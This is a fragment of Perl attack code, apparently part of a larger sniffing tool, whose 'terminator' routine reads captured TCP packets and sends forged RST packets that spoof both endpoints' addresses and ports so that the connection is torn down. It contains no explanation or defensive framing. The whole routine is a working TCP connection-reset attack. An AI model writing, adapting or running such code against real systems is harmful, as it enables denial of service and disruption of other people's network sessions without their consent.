# -sam k (commport5@lucidx.com)

use pdump::Sniff;

sub terminator {
 ($allo, $call, $nite, $headers) = ($offset_all, $_[2], 0);
 $packet_all->bset($call, $allo);
 $proto = $packet_all->proto;
 ($vers,$ihl,$tos,$tot,$id,$frg,$ttl,$pro,$chc,$saddr,$daddr,$sport,$dport,$seq,$aseq,$dof,$res1,$res2,$urg,$ack,$psh,$rst,$syn,$fin,$win,$chk,$data) =
 $packet_all->get({ip=>['version','ihl','tos','tot_len','id','frag_off','ttl','protocol','check','saddr','daddr'],tcp=>[
 'source','dest','seq','ack_seq','doff','res1','res2','urg','ack','psh','rst','syn','fin','window','check','data']});
 $seq =~ s/^-//;
 $sname = &ip2dot($saddr);
 $dname = &ip2dot($daddr);
 if ($brute > 0) {
  $num = 1;
 }
 else {
  $num = -1;
 }
# for ($x = 0; $x < ($brute * $num); $x++) {
 for (1..3) {
  $a = new pdump::Sniff;
  $a->set({
   ip  => { frag_off => 0,
            tos => 0,
            saddr => $sname,
            daddr => $dname },
   tcp => { dest => $dport,
            source => $sport,
            seq => $seq,
            rst => 1,
            window => 0 }
  });
  $a->send;
  print "$sname:$sport > $dname:$dport - $seq\n";
  $seq = ($seq + $win);
 }
 $top++;
}

1;